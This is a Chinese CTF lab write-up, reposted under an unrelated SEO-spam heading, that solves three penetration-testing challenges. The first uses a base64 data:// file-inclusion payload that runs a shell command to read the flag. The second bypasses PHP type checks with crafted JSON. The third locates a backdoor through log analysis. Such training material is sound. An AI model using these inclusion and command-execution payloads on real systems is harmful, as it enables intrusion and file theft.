当前位置: 首页 > news >正文

今年最流行的装修风格丹东seo营销

今年最流行的装修风格,丹东seo营销,漳州 网站建设公司,网站公司怎么做推广第1题 题目:flag值存放在系统根目录下,请根据所学知识及题目提示,获取flag值 配套工具:Cyberchef 进来就说是文件包含漏洞,而且配套工具也给了Cyberchef,因此第一思路是直接尝试利用 php 伪协议返回base6…

第1题

题目:flag值存放在系统根目录下,请根据所学知识及题目提示,获取flag值

配套工具:Cyberchef

在这里插入图片描述
进来就说是文件包含漏洞,而且配套工具也给了Cyberchef,因此第一思路是直接尝试利用 php 伪协议返回base64编码,然后解码得到flag。

于是构造一个 payload,但结果并未返回:
在这里插入图片描述
此时考虑是否存在过滤,比如过滤了 “php”、“filter”等关键字,但经过初步验证,似乎只是过滤了 php 关键字,而且发现 data 关键字并没有被过滤:
在这里插入图片描述
在这里插入图片描述
那么这道题就可以换个思路,利用 data 伪协议进行。由于已经知道题目中可能存在过滤,因此最保险的方法就是将payload进行编码后再输入。因此首先使用Cyberchef将payload进行base64编码:
在这里插入图片描述
接着通过 data://text/plain;base64,[base64编码]读取根目录文件,发现flag文件名为flag.wasj
在这里插入图片描述
那么就可以直接读取了:
在这里插入图片描述
最终Payload为:

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgLi4vLi4vLi4vZmxhZy53YXNqJyk7Pz4=

第2题

题目:启动环境,通读代码,获得flag值吧,注意flag格式为:flag_nisp_xxxxxx

代码如下:

 <?php
$v1 = 0;
$v2 = 0;
$a = (array)json_decode(@$_GET['w']);
if (is_array($a)) {is_numeric(@$a["bar1"]) ? die("nope") : NULL;if (@$a["bar1"]) {($a["bar1"] > 2020) ? $v1 = 1 : NULL;}if (is_array(@$a["bar2"])) {if (count($a["bar2"]) != 5 or !is_array($a["bar2"][0])) {die("nope");}$pos = array_search("cisp-pte", $a["bar3"]);$pos === false ? die("nope") : NULL;foreach ($a["bar2"] as $key => $val) {$val == "cisp-pte" ? die("nope") : NULL;}$v2 = 1;}
}
if ($v1 && $v2) {include "key.php";echo $key;
}
highlight_file(__file__);
?> 

通读下来,代码首先通过参数‘w’获取数据,并且传递进来的参数必须是JSON格式,接着被转为数组类型。最后发现要想获得 flag,必须使变量$v1$v2均为1才可。

回归到代码中,要使$v1 = 1,需要“bar1”对应的值不是数字,却要大于2020。这里考虑到PHP的弱类型比较,将“bar1”取值为“2021a”即可解决。

要使$v2 = 1,需要“bar2”是数组,并且长度得等于5,第一个元素是数组,且不能存在“cisp-pte”字符串;“bar3”也得是数组,且必须要存在“cisp-pte”元素。因此此处将“bar2”构建为[[],"a","a","a","a"],将“bar3”构建为["cisp-pte"]

最终构建出的payload为:

?w={"bar1":"2021a","bar2":[[],"a","a","a","a"],"bar3":["cisp-pte"]}

第3题

题目:下载日志包,分析日志,找到flag值吧

进入界面后,告知我们有人入侵了服务器,但不知道哪里出现问题,要我们通过日志分析来找出攻击利用点。
在这里插入图片描述
先下载日志文件,长长一大条。
在这里插入图片描述
首先思路就是,日志往往是随着时间记录的,这样想的话,一般攻击成功的信息都会留在日志后面,因此先从日志最后开始分析,果然发现了几串 200 响应码的日志,盲猜攻击者在进行目录扫描这种工作。
在这里插入图片描述
其中最吸引我注意力的就是/upload/admin目录了,因为/upload目录里可能存在攻击者上传的一些恶意文件,/admin则与管理员相关,一般攻击者都会考虑获取管理员权限嘛。

结果/upload无法访问,/admin目录里则出现了一个 backdoor.php 文件:
在这里插入图片描述
在这里插入图片描述
点进该php文件,获取到flag。

http://www.dtcms.com/a/571932.html

相关文章:

  • 网站做互动wordpress 指定分类置顶文章
  • 网站服务费做管理费用wordpress重复文章
  • 黄石做网站多少钱阳西网站seo
  • 网站优化北京联系电话?西乡城建局网站
  • 手表哪个网站正品我要发布信息
  • 在线教育网站开发时长有没有像一起做网店做男装的网站
  • 湖北网站建设怎样域名备案 填写网站信息吗
  • 广州多语言外贸网站建设怎么建设一个国外的网站
  • 莲塘网站建设上海工作单位名称大全
  • 专业型网站网站深圳市深度网络科技有限公司
  • 公司网站建设及维护管理办法做律师网站
  • 佛山专业的免费网站优化微信小程序开发接口
  • 漳州做网站建设无锡微信网站开发
  • 中小企业网上申报系统湛江网站关键词优化
  • 信阳工程建设一体化平台网站客户网站回访
  • iis内网站设置允许脚本执行网站ftp地址是什么
  • 网站怎么算抄袭产品营销网站建设
  • 建设银行官网首页网站公告北京门户企业网站建设
  • 南昌网站建设方案报价网店推广的含义
  • 建设网站五个步骤成都有实力的网站建设
  • 绥中网站建设分类信息网互联网企业公司
  • 国外手机网站源码怎样用模块做网站
  • 地坪网站建设杭州做网点卖服装在那个网站
  • 做宠物店网站的素材上海工程建设信息网站
  • 淘宝客网站模板免费下载网站建设德语
  • 搜索引擎网站优化推广如何制作微信打卡小程序
  • 中国著名的做网站渗透大连建行网点
  • 个人商城网站备案中壹建设工程有限公司官方网站
  • 自然景观网站模板字体版权登记网站
  • 建站流程网站上线服务器维护中是什么意思